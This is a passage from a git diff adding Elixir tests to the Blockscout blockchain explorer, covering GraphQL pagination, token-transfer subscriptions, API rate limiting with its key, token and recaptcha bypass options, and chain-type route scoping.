= + conn + |> post("/api/v1/graphql", query: query2, variables: variables2) + |> json_response(200) + |> get_in(["data", "transaction", "internal_transactions"]) + + assert page2["page_info"] == %{"has_next_page" => true, "has_previous_page" => true} + assert Enum.all?(page2["edges"], &(&1["node"]["index"] in 2..3)) + + last_cursor_page2 = + page2 + |> Map.get("edges") + |> List.last() + |> Map.get("cursor") + + variables3 = %{ + "hash" => to_string(transaction.hash), + "first" => 2, + "after" => last_cursor_page2 + } + + page3 = + conn + |> post("/api/v1/graphql", query: query2, variables: variables3) + |> json_response(200) + |> get_in(["data", "transaction", "internal_transactions"]) + + assert page3["page_info"] == %{"has_next_page" => false, "has_previous_page" => true} + assert Enum.all?(page3["edges"], &(&1["node"]["index"] in 4..5)) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/graphql/schema/subscription/token_transfers_test.exs b/apps/block_scout_web/test/block_scout_web/graphql/schema/subscription/token_transfers_test.exs new file mode 100644 index 000000000000..4ba16ec96ecd --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/graphql/schema/subscription/token_transfers_test.exs @@ -0,0 +1,117 @@ +defmodule BlockScoutWeb.GraphQL.Schema.Subscription.TokenTransfersTest do + use BlockScoutWeb.SubscriptionCase + import Mox + + alias BlockScoutWeb.Notifier + + describe "token_transfers field" do + setup :set_mox_global + + setup do + configuration = Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint) + Application.put_env(:block_scout_web, BlockScoutWeb.Endpoint, pubsub_server: BlockScoutWeb.PubSub) + + :ok + + on_exit(fn -> + Application.put_env(:block_scout_web, BlockScoutWeb.Endpoint, configuration) + end) + end + + test "with valid argument, returns all expected fields", %{socket: socket} do + transaction = insert(:transaction) + token_transfer = insert(:token_transfer, transaction: transaction) + address_hash = to_string(token_transfer.token_contract_address_hash) + + subscription = """ + subscription ($hash: AddressHash!) { + token_transfers(token_contract_address_hash: $hash) { + amount + from_address_hash + to_address_hash + token_contract_address_hash + transaction_hash + } + } + """ + + variables = %{"hash" => address_hash} + + ref = push_doc(socket, subscription, variables: variables) + + assert_reply(ref, :ok, %{subscriptionId: subscription_id}) + + Notifier.handle_event({:chain_event, :token_transfers, :realtime, [token_transfer]}) + + expected = %{ + result: %{ + data: %{ + "token_transfers" => [ + %{ + "amount" => to_string(token_transfer.amount), + "from_address_hash" => to_string(token_transfer.from_address_hash), + "to_address_hash" => to_string(token_transfer.to_address_hash), + "token_contract_address_hash" => to_string(token_transfer.token_contract_address_hash), + "transaction_hash" => to_string(token_transfer.transaction_hash) + } + ] + } + }, + subscriptionId: subscription_id + } + + assert_push("subscription:data", push) + assert push == expected + end + + test "ignores irrelevant tokens", %{socket: socket} do + transaction = insert(:transaction) + [token_transfer1, token_transfer2] = insert_list(2, :token_transfer, transaction: transaction) + address_hash1 = to_string(token_transfer1.token_contract_address_hash) + + subscription = """ + subscription ($hash: AddressHash!) { + token_transfers(token_contract_address_hash: $hash) { + amount + token_contract_address_hash + } + } + """ + + variables = %{"hash" => address_hash1} + + ref = push_doc(socket, subscription, variables: variables) + + assert_reply(ref, :ok, %{subscriptionId: _subscription_id}) + + Notifier.handle_event({:chain_event, :token_transfers, :realtime, [token_transfer2]}) + + refute_push("subscription:data", _push) + end + + test "ignores non-realtime updates", %{socket: socket} do + transaction = insert(:transaction) + token_transfer = insert(:token_transfer, transaction: transaction) + address_hash = to_string(token_transfer.token_contract_address_hash) + + subscription = """ + subscription ($hash: AddressHash!) { + token_transfers(token_contract_address_hash: $hash) { + amount + token_contract_address_hash + } + } + """ + + variables = %{"hash" => address_hash} + + ref = push_doc(socket, subscription, variables: variables) + + assert_reply(ref, :ok, %{subscriptionId: _subscription_id}) + + Notifier.handle_event({:chain_event, :token_transfers, :catchup, [token_transfer]}) + + refute_push("subscription:data", _push) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/plug/rate_limit_test.exs b/apps/block_scout_web/test/block_scout_web/plug/rate_limit_test.exs new file mode 100644 index 000000000000..31ad79c7ccc6 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/plug/rate_limit_test.exs @@ -0,0 +1,483 @@ +defmodule BlockScoutWeb.Plug.RateLimitTest do + use BlockScoutWeb.ConnCase, async: false + + setup do + # Store original config + original_config = :persistent_term.get(:rate_limit_config) + + original_recaptcha_config = Application.get_env(:block_scout_web, :recaptcha) + original_rate_limit_config = Application.get_env(:block_scout_web, :api_rate_limit) + original_graphql_config = Application.get_env(:block_scout_web, Api.GraphQL) + + Application.put_env(:block_scout_web, :api_rate_limit, Keyword.put(original_rate_limit_config, :disabled, false)) + + Application.put_env( + :block_scout_web, + Api.GraphQL, + Keyword.put(original_graphql_config, :rate_limit_disabled?, false) + ) + + on_exit(fn -> + :persistent_term.put(:rate_limit_config, original_config) + + Application.put_env(:block_scout_web, :recaptcha, original_recaptcha_config) + Application.put_env(:block_scout_web, :api_rate_limit, original_rate_limit_config) + Application.put_env(:block_scout_web, Api.GraphQL, original_graphql_config) + + :ets.delete_all_objects(BlockScoutWeb.RateLimit.Hammer.ETS) + end) + end + + describe "rate limiting" do + test "sets rate limit headers for allowed and denied requests", %{conn: conn} do + config = %{ + static_match: %{ + "api/v2/blocks" => %{ + ip: %{ + period: 60_000, + limit: 1 + } + } + }, + wildcard_match: %{}, + parametrized_match: %{} + } + + :persistent_term.put(:rate_limit_config, config) + + # First request - allowed + first_request = conn |> get("/api/v2/blocks") + assert first_request.status == 200 + assert get_resp_header(first_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(first_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(first_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + assert get_resp_header(first_request, "bypass-429-option") == ["no_bypass"] + + # Second request - should be denied with 429 + second_request = conn |> get("/api/v2/blocks") + assert second_request.status == 429 + assert get_resp_header(second_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(second_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(second_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + assert get_resp_header(second_request, "bypass-429-option") == ["no_bypass"] + end + + test "handles recaptcha bypass option", %{conn: conn} do + config = %{ + static_match: %{ + "api/v2/addresses" => %{ + ip: %{ + period: 60_000, + limit: 1 + }, + recaptcha_to_bypass_429: true + } + }, + wildcard_match: %{}, + parametrized_match: %{} + } + + :persistent_term.put(:rate_limit_config, config) + + # First request with user agent + first_request = + conn + |> put_req_header("user-agent", "test-agent") + |> get("/api/v2/addresses") + + assert first_request.status == 200 + + assert get_resp_header(first_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(first_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(first_request, "bypass-429-option") == ["recaptcha"] + + # Second request - should be denied with 429 + second_request = + conn + |> put_req_header("user-agent", "test-agent") + |> get("/api/v2/addresses") + + assert second_request.status == 429 + + assert get_resp_header(second_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(second_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(second_request, "bypass-429-option") == ["recaptcha"] + end + + test "handles temporary token bypass option", %{conn: conn} do + config = %{ + static_match: %{ + "api/v2/transactions" => %{ + ip: %{ + period: 60_000, + limit: 1 + }, + temporary_token: true + } + }, + wildcard_match: %{}, + parametrized_match: %{} + } + + :persistent_term.put(:rate_limit_config, config) + + # First request with user agent + first_request = + conn + |> put_req_header("user-agent", "test-agent") + |> get("/api/v2/transactions") + + assert first_request.status == 200 + assert get_resp_header(first_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(first_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(first_request, "bypass-429-option") == ["temporary_token"] + + # Second request - should be denied with 429 + second_request = + conn + |> put_req_header("user-agent", "test-agent") + |> get("/api/v2/transactions") + + assert second_request.status == 429 + assert get_resp_header(second_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(second_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(second_request, "bypass-429-option") == ["temporary_token"] + end + + test "handles GraphQL requests", %{conn: conn} do + Application.put_env(:block_scout_web, Api.GraphQL, + rate_limit_disabled?: false, + limit_by_ip: 1, + time_interval_limit_by_ip: 60_000, + global_limit: 500, + time_interval_limit: 60_000 + ) + + # First request + first_request = conn |> post("/api/v1/graphql", %{query: "{}"}) + assert first_request.status == 200 + assert get_resp_header(first_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(first_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(first_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + + # This request should be denied due to IP limit + last_request = conn |> post("/api/v1/graphql", %{query: "{}"}) + assert last_request.status == 429 + assert get_resp_header(last_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(last_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(last_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + end + + test "handles GraphQL requests with global limit", %{conn: conn} do + Application.put_env(:block_scout_web, Api.GraphQL, + rate_limit_disabled?: false, + limit_by_ip: 100, + time_interval_limit_by_ip: 60_000, + global_limit: 1, + time_interval_limit: 60_000 + ) + + # First request + first_request = conn |> post("/api/v1/graphql", %{query: "{}"}) + assert first_request.status == 200 + assert get_resp_header(first_request, "x-ratelimit-limit") == ["100"] + assert get_resp_header(first_request, "x-ratelimit-remaining") == ["99"] + assert get_resp_header(first_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + + # This request should be denied due to IP limit + last_request = conn |> post("/api/v1/graphql", %{query: "{}"}) + assert last_request.status == 429 + assert get_resp_header(last_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(last_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(last_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + end + + test "handles parametrized paths", %{conn: conn} do + token = insert(:token) + + config = %{ + static_match: %{}, + wildcard_match: %{}, + parametrized_match: %{ + ["api", "v2", "tokens", ":param"] => %{ + ip: %{ + period: 60_000, + limit: 1 + } + } + } + } + + :persistent_term.put(:rate_limit_config, config) + + # First request to parametrized path + first_request = conn |> get("/api/v2/tokens/#{token.contract_address_hash}") + assert first_request.status == 200 + assert get_resp_header(first_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(first_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(first_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + + # Second request - should be denied with 429 + second_request = conn |> get("/api/v2/tokens/123") + assert second_request.status == 429 + assert get_resp_header(second_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(second_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(second_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + end + + test "handles wildcard paths", %{conn: conn} do + config = %{ + static_match: %{}, + wildcard_match: %{ + {["api", "v2"], 2} => %{ + ip: %{ + period: 60_000, + limit: 1 + } + } + }, + parametrized_match: %{} + } + + :persistent_term.put(:rate_limit_config, config) + + # First request to a path matching wildcard + first_request = conn |> get("/api/v2/main-page/transactions") + assert first_request.status == 200 + assert get_resp_header(first_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(first_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(first_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + + # Second request - should be denied with 429 + second_request = conn |> get("/api/v2/blocks") + assert second_request.status == 429 + assert get_resp_header(second_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(second_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(second_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + end + + test "falls back to default config", %{conn: conn} do + config = %{ + static_match: %{ + "default" => %{ + ip: %{ + period: 60_000, + limit: 1 + } + } + }, + wildcard_match: %{}, + parametrized_match: %{} + } + + :persistent_term.put(:rate_limit_config, config) + + # First request to a path with no specific config + first_request = conn |> get("/api/v2/transactions") + assert first_request.status == 200 + assert get_resp_header(first_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(first_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(first_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + + # Second request - should be denied with 429 + second_request = conn |> get("/api/v2/blocks") + assert second_request.status == 429 + assert get_resp_header(second_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(second_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(second_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + end + + test "rate limit is disabled when configured", %{conn: conn} do + config = %{ + static_match: %{ + "default" => %{ + ip: %{ + period: 60_000, + limit: 0 + } + } + }, + wildcard_match: %{}, + parametrized_match: %{} + } + + :persistent_term.put(:rate_limit_config, config) + + Application.put_env( + :block_scout_web, + :api_rate_limit, + Keyword.put(Application.get_env(:block_scout_web, :api_rate_limit), :disabled, true) + ) + + request = conn |> get("/api/v2/transactions") + assert request.status == 200 + assert get_resp_header(request, "x-ratelimit-limit") == ["-1"] + assert get_resp_header(request, "x-ratelimit-remaining") == ["-1"] + assert get_resp_header(request, "x-ratelimit-reset") == ["-1"] + end + + test "bypasses rate limit with valid API key", %{conn: conn} do + config = %{ + static_match: %{ + "default" => %{ + ip: %{ + period: 60_000, + limit: 0 + } + } + }, + wildcard_match: %{}, + parametrized_match: %{} + } + + :persistent_term.put(:rate_limit_config, config) + + Application.put_env( + :block_scout_web, + :api_rate_limit, + Keyword.put(Application.get_env(:block_scout_web, :api_rate_limit), :no_rate_limit_api_key_value, "123") + ) + + request = conn |> get("/api/v2/transactions", %{"apikey" => "123"}) + assert request.status == 200 + assert get_resp_header(request, "x-ratelimit-limit") == ["-1"] + assert get_resp_header(request, "x-ratelimit-remaining") == ["-1"] + assert get_resp_header(request, "x-ratelimit-reset") == ["-1"] + + request = conn |> put_req_header("x-api-key", "123") |> get("/api/v2/transactions") + assert request.status == 200 + assert get_resp_header(request, "x-ratelimit-limit") == ["-1"] + assert get_resp_header(request, "x-ratelimit-remaining") == ["-1"] + assert get_resp_header(request, "x-ratelimit-reset") == ["-1"] + end + + test "enforces rate limit with invalid API key", %{conn: conn} do + config = %{ + static_match: %{ + "default" => %{ + ip: %{ + period: 60_000, + limit: 0 + } + } + }, + wildcard_match: %{}, + parametrized_match: %{} + } + + :persistent_term.put(:rate_limit_config, config) + + Application.put_env( + :block_scout_web, + :api_rate_limit, + Keyword.put(Application.get_env(:block_scout_web, :api_rate_limit), :no_rate_limit_api_key_value, nil) + ) + + request = conn |> get("/api/v2/transactions", %{"apikey" => nil}) + assert request.status == 429 + assert get_resp_header(request, "x-ratelimit-limit") == ["0"] + assert get_resp_header(request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + end + + test "enforces rate limit with empty API key", %{conn: conn} do + config = %{ + static_match: %{ + "default" => %{ + ip: %{ + period: 60_000, + limit: 0 + } + } + }, + wildcard_match: %{}, + parametrized_match: %{} + } + + :persistent_term.put(:rate_limit_config, config) + + Application.put_env( + :block_scout_web, + :api_rate_limit, + Keyword.put(Application.get_env(:block_scout_web, :api_rate_limit), :no_rate_limit_api_key_value, "") + ) + + request = conn |> get("/api/v2/transactions", %{"apikey" => " "}) + assert request.status == 429 + assert get_resp_header(request, "x-ratelimit-limit") == ["0"] + assert get_resp_header(request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + end + + test "rate limit requests with isolated rate limit", %{conn: conn} do + config = %{ + static_match: %{ + "api/v2/blocks" => %{ + ip: %{ + period: 60_000, + limit: 1 + } + }, + "api/v2/transactions" => %{ + ip: %{ + period: 60_000, + limit: 1 + }, + isolate_rate_limit?: true, + bucket_key_prefix: "api/v2/transactions_" + }, + "api/v2/addresses" => %{ + ip: %{ + period: 60_000, + limit: 1 + } + } + }, + wildcard_match: %{}, + parametrized_match: %{} + } + + :persistent_term.put(:rate_limit_config, config) + + # First request - allowed + first_request = conn |> get("/api/v2/blocks") + assert first_request.status == 200 + assert get_resp_header(first_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(first_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(first_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + assert get_resp_header(first_request, "bypass-429-option") == ["no_bypass"] + + # Second request - should be denied with 429 + second_request = conn |> get("/api/v2/blocks") + assert second_request.status == 429 + assert get_resp_header(second_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(second_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(second_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + assert get_resp_header(second_request, "bypass-429-option") == ["no_bypass"] + + # Third request - should be allowed + third_request = conn |> get("/api/v2/transactions") + assert third_request.status == 200 + assert get_resp_header(third_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(third_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(third_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + assert get_resp_header(third_request, "bypass-429-option") == ["no_bypass"] + + # Fourth request - should be allowed + fourth_request = conn |> get("/api/v2/transactions") + assert fourth_request.status == 429 + assert get_resp_header(fourth_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(fourth_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(fourth_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + assert get_resp_header(fourth_request, "bypass-429-option") == ["no_bypass"] + + # Fifth request - should be denied with 429 + fifth_request = conn |> get("/api/v2/addresses") + assert fifth_request.status == 429 + assert get_resp_header(fifth_request, "x-ratelimit-limit") == ["1"] + assert get_resp_header(fifth_request, "x-ratelimit-remaining") == ["0"] + assert get_resp_header(fifth_request, "x-ratelimit-reset") |> hd() |> String.to_integer() > 0 + assert get_resp_header(fifth_request, "bypass-429-option") == ["no_bypass"] + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/rate_limit_test.exs b/apps/block_scout_web/test/block_scout_web/rate_limit_test.exs new file mode 100644 index 000000000000..f490a76c7880 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/rate_limit_test.exs @@ -0,0 +1,426 @@ +defmodule BlockScoutWeb.RateLimitTest do + use BlockScoutWeb.ConnCase, async: false + alias BlockScoutWeb.RateLimit + + describe "check_rate_limit_graphql/3" do + setup do + original_config = Application.get_env(:block_scout_web, Api.GraphQL) + Application.put_env(:block_scout_web, Api.GraphQL, Keyword.put(original_config, :rate_limit_disabled?, false)) + + on_exit(fn -> + Application.put_env(:block_scout_web, Api.GraphQL, original_config) + :ets.delete_all_objects(BlockScoutWeb.RateLimit.Hammer.ETS) + end) + end + + test "returns {:allow, -1} when rate limit is disabled" do + Application.put_env(:block_scout_web, Api.GraphQL, rate_limit_disabled?: true) + conn = build_conn() + + assert RateLimit.check_rate_limit_graphql(conn, 1) == {:allow, -1} + end + + test "returns {:allow, -1} when using no_rate_limit_api_key" do + no_rate_limit_api_key = "no_limit_key" + Application.put_env(:block_scout_web, Api.GraphQL, no_rate_limit_api_key: no_rate_limit_api_key) + conn = build_conn() |> Map.put(:query_params, %{"apikey" => no_rate_limit_api_key}) + + assert RateLimit.check_rate_limit_graphql(conn, 1) == {:allow, -1} + end + + test "applies rate limit for IP when no API key is provided" do + Application.put_env(:block_scout_web, Api.GraphQL, + rate_limit_disabled?: false, + limit_by_ip: 100, + time_interval_limit_by_ip: 60_000, + time_interval_limit: 60_000, + global_limit: 1000 + ) + + conn = build_conn() + + assert {:allow, count, limit, period} = RateLimit.check_rate_limit_graphql(conn, 1) + assert count == 1 + assert limit == 100 + assert period == 60_000 + end + + test "global limit is applied when no API key is provided" do + static_api_key = "static_key" + + Application.put_env(:block_scout_web, Api.GraphQL, + rate_limit_disabled?: false, + limit_by_ip: 100, + time_interval_limit_by_ip: 50_000, + time_interval_limit: 60_000, + global_limit: 1, + limit_by_key: 100, + static_api_key: static_api_key + ) + + conn = build_conn() + + assert {:allow, count, limit, period} = RateLimit.check_rate_limit_graphql(conn, 1) + assert count == 1 + assert limit == 100 + assert period == 50_000 + + assert {:deny, time_to_reset, limit, period} = RateLimit.check_rate_limit_graphql(conn, 1) + assert time_to_reset > 0 and time_to_reset < 60_000 + assert limit == 1 + assert period == 60_000 + + conn = build_conn() |> Map.put(:query_params, %{"apikey" => static_api_key}) + + assert {:allow, count, limit, period} = RateLimit.check_rate_limit_graphql(conn, 1) + assert count == 1 + assert limit == 100 + assert period == 60_000 + end + + test "bypass 429 rate limit with static API key" do + static_api_key = "static_key" + + Application.put_env(:block_scout_web, Api.GraphQL, + rate_limit_disabled?: false, + limit_by_ip: 1, + time_interval_limit_by_ip: 60_000, + time_interval_limit: 1_000, + global_limit: 1000, + static_api_key: static_api_key, + limit_by_key: 500 + ) + + conn = build_conn() + + assert {:allow, count, limit, period} = RateLimit.check_rate_limit_graphql(conn, 1) + assert count == 1 + assert limit == 1 + assert period == 60_000 + + assert {:deny, time_to_reset, limit, period} = RateLimit.check_rate_limit_graphql(conn, 1) + assert time_to_reset > 0 and time_to_reset < 60_000 + assert limit == 1 + assert period == 60_000 + + conn = build_conn() |> Map.put(:query_params, %{"apikey" => static_api_key}) + + assert {:allow, count, limit, period} = RateLimit.check_rate_limit_graphql(conn, 1) + assert count == 1 + assert limit == 500 + assert period == 1_000 + end + + test "applies rate limit for static API key" do + static_api_key = "static_key" + time_interval_limit = 500 + + Application.put_env(:block_scout_web, Api.GraphQL, + rate_limit_disabled?: false, + static_api_key: static_api_key, + time_interval_limit: time_interval_limit, + limit_by_key: 500 + ) + + conn = build_conn() |> Map.put(:query_params, %{"apikey" => static_api_key}) + + # Make 500 requests to hit the limit + Enum.each(1..500, fn i -> + assert {:allow, count, limit, period} = RateLimit.check_rate_limit_graphql(conn, 1) + assert count == i + assert limit == 500 + assert period == time_interval_limit + end) + + # Next request should be denied + assert {:deny, time_to_reset, limit, period} = RateLimit.check_rate_limit_graphql(conn, 1) + assert limit == 500 + assert period == time_interval_limit + assert time_to_reset > 0 and time_to_reset < time_interval_limit + + Process.sleep(time_to_reset) + + # Make another request to check if it's allowed again + assert {:allow, count, limit, period} = RateLimit.check_rate_limit_graphql(conn, 1) + assert count == 1 + assert limit == 500 + assert period == time_interval_limit + end + end + + describe "rate_limit_with_config/2" do + setup do + original_config = Application.get_env(:block_scout_web, :api_rate_limit) + Application.put_env(:block_scout_web, :api_rate_limit, Keyword.put(original_config, :disabled, false)) + original_recaptcha_config = Application.get_env(:block_scout_web, :recaptcha) + + on_exit(fn -> + Application.put_env(:block_scout_web, :api_rate_limit, original_config) + Application.put_env(:block_scout_web, :recaptcha, original_recaptcha_config) + :ets.delete_all_objects(BlockScoutWeb.RateLimit.Hammer.ETS) + end) + end + + test "returns {:allow, -1} when rate limit is disabled globally" do + Application.put_env(:block_scout_web, :api_rate_limit, disabled: true) + conn = build_conn() + + assert RateLimit.rate_limit_with_config(conn, %{}) == {:allow, -1} + end + + test "returns {:allow, -1} when endpoint is ignored" do + conn = build_conn() + + assert RateLimit.rate_limit_with_config(conn, %{ignore: true}) == {:allow, -1} + end + + test "applies rate limit by IP" do + config = %{ + ip: %{ + period: 60_000, + limit: 100 + } + } + + conn = build_conn() + + assert {:allow, count, limit, period} = RateLimit.rate_limit_with_config(conn, config) + assert count == 1 + assert limit == 100 + assert period == 60_000 + end + + test "applies rate limit by static API key" do + static_api_key = "static_key" + original_config = Application.get_env(:block_scout_web, :api_rate_limit) + + Application.put_env( + :block_scout_web, + :api_rate_limit, + Keyword.put(original_config, :static_api_key_value, static_api_key) + ) + + config = %{ + temporary_token: %{ + period: 60_000, + limit: 100 + }, + static_api_key: %{ + period: 60_000, + limit: 500 + } + } + + conn = build_conn() |> Map.put(:query_params, %{"apikey" => static_api_key}) + + assert {:allow, count, limit, period} = RateLimit.rate_limit_with_config(conn, config) + assert count >= 0 + assert limit == 500 + assert period == 60_000 + end + + test "applies rate limit by whitelisted IP" do + ip = "192.168.1.1" + original_config = Application.get_env(:block_scout_web, :api_rate_limit) + Application.put_env(:block_scout_web, :api_rate_limit, Keyword.put(original_config, :whitelisted_ips, ip)) + + config = %{ + temporary_token: %{ + period: 60_000, + limit: 100 + }, + static_api_key: %{ + period: 60_000, + limit: 200 + }, + account_api_key: %{ + period: 60_000, + limit: 300 + }, + whitelisted_ip: %{ + period: 60_000, + limit: 400 + }, + ip: %{ + period: 60_000, + limit: 500 + } + } + + conn = build_conn() |> Map.put(:remote_ip, {192, 168, 1, 1}) + + assert {:allow, count, limit, period} = RateLimit.rate_limit_with_config(conn, config) + assert count == 1 + assert limit == 400 + assert period == 60_000 + end + + test "applies rate limit by temporary token" do + config = %{ + temporary_token: %{ + period: 60_000, + limit: 100 + }, + static_api_key: %{ + period: 60_000, + limit: 200 + }, + account_api_key: %{ + period: 60_000, + limit: 300 + }, + whitelisted_ip: %{ + period: 60_000, + limit: 400 + }, + ip: %{ + period: 60_000, + limit: 1 + } + } + + Application.put_env( + :block_scout_web, + :recaptcha, + Keyword.put(Application.get_env(:block_scout_web, :recaptcha), :bypass_token, "test_token") + ) + + conn = + build_conn() + |> Map.put(:remote_ip, {192, 168, 1, 1}) + + assert {:allow, count, limit, period} = RateLimit.rate_limit_with_config(conn, config) + assert count == 1 + assert limit == 1 + assert period == 60_000 + + assert {:deny, time_to_reset, limit, period} = RateLimit.rate_limit_with_config(conn, config) + assert time_to_reset > 0 and time_to_reset < 60_000 + assert limit == 1 + assert period == 60_000 + + # First make request to get temporary token + conn = + build_conn() + |> Map.put(:remote_ip, {192, 168, 1, 1}) + |> Map.put(:req_headers, [{"user-agent", "test-agent"}]) + |> post("/api/v2/key", %{"recaptcha_bypass_token" => "test_token"}) + + # Extract token from response + token = conn.resp_cookies["api_v2_temp_token"].value + + # Now make request with the token + conn = + conn + |> Map.put(:remote_ip, {192, 168, 1, 1}) + |> Map.put(:req_headers, [{"user-agent", "test-agent"}]) + |> Map.put(:req_cookies, %{"api_v2_temp_token" => token}) + + assert {:allow, count, limit, period} = RateLimit.rate_limit_with_config(conn, config) + assert count == 1 + assert limit == 100 + assert period == 60_000 + end + + test "handles recaptcha bypass" do + config = %{ + temporary_token: %{ + period: 60_000, + limit: 100 + }, + static_api_key: %{ + period: 60_000, + limit: 200 + }, + account_api_key: %{ + period: 60_000, + limit: 300 + }, + whitelisted_ip: %{ + period: 60_000, + limit: 400 + }, + ip: %{ + period: 70_000, + limit: 1 + }, + recaptcha_to_bypass_429: true + } + + # First request to hit the limit + conn = build_conn() |> Map.put(:req_headers, [{"user-agent", "test-agent"}]) + assert {:allow, 1, 1, _} = RateLimit.rate_limit_with_config(conn, config) + + # Second request that should be denied + conn = build_conn() |> Map.put(:req_headers, [{"user-agent", "test-agent"}]) + assert {:deny, _, _, _} = RateLimit.rate_limit_with_config(conn, config) + + Application.put_env( + :block_scout_web, + :recaptcha, + Keyword.put(Application.get_env(:block_scout_web, :recaptcha), :bypass_token, "test_token") + ) + + # Request with valid recaptcha + conn = + build_conn() + |> Map.put(:req_headers, [ + {"user-agent", "test-agent"}, + {"recaptcha-bypass-token", "test_token"} + ]) + + assert {:allow, count, limit, period} = RateLimit.rate_limit_with_config(conn, config) + assert count == 1 + assert limit == 1 + assert period == 70_000 + end + end + + describe "get_user_agent/1" do + test "returns user agent from headers" do + conn = build_conn() |> Map.put(:req_headers, [{"user-agent", "test-agent"}]) + assert RateLimit.get_user_agent(conn) == "test-agent" + end + + test "returns nil when user agent is not present" do + conn = build_conn() + assert RateLimit.get_user_agent(conn) == nil + end + end + + describe "rate_limit/4" do + setup do + original_config = Application.get_env(:block_scout_web, :api_rate_limit) + Application.put_env(:block_scout_web, :api_rate_limit, Keyword.put(original_config, :disabled, false)) + + on_exit(fn -> + Application.put_env(:block_scout_web, :api_rate_limit, original_config) + :ets.delete_all_objects(BlockScoutWeb.RateLimit.Hammer.ETS) + end) + end + + test "returns {:allow, count, limit, period} when under limit" do + key = "test_key" + period = 60_000 + limit = 100 + multiplier = 33 + + assert {:allow, count, ^limit, ^period} = RateLimit.rate_limit(key, period, limit, multiplier) + assert count == 33 + end + + test "returns {:deny, time_to_reset, limit, period} when over limit" do + key = "test_key" + period = 60_000 + limit = 1 + multiplier = 1 + + # First request + RateLimit.rate_limit(key, period, limit, multiplier) + + # Second request that should be denied + assert {:deny, time_to_reset, ^limit, ^period} = RateLimit.rate_limit(key, period, limit, multiplier) + assert time_to_reset > 0 + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/routers/chain_type_scope_test.exs b/apps/block_scout_web/test/block_scout_web/routers/chain_type_scope_test.exs new file mode 100644 index 000000000000..cc0f6ac215a3 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/routers/chain_type_scope_test.exs @@ -0,0 +1,50 @@ +defmodule BlockScoutWeb.Routers.ChainTypeScopeTest do + use BlockScoutWeb.ConnCase + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + if @chain_type == :default do + describe "stability validators routes with chain_scope" do + setup do + original_chain_type = Application.get_env(:explorer, :chain_type) + + on_exit(fn -> + Application.put_env(:explorer, :chain_type, original_chain_type) + end) + + :ok + end + + test "stability validators counters are accessible when chain type is stability", %{conn: conn} do + Application.put_env(:explorer, :chain_type, :stability) + + assert response = + conn + |> get("/api/v2/validators/stability/counters") + |> json_response(200) + end + + test "stability validators list are not accessible with different chain type", %{conn: conn} do + Application.put_env(:explorer, :chain_type, :default) + + conn = get(conn, "/api/v2/validators/stability/counters") + response = json_response(conn, 404) + assert response["message"] == "Endpoint not available for current chain type" + end + end + + test "blackfort validators counters are accessible when chain type is blackfort and stability is not", + %{conn: conn} do + Application.put_env(:explorer, :chain_type, :blackfort) + + assert response = + conn + |> 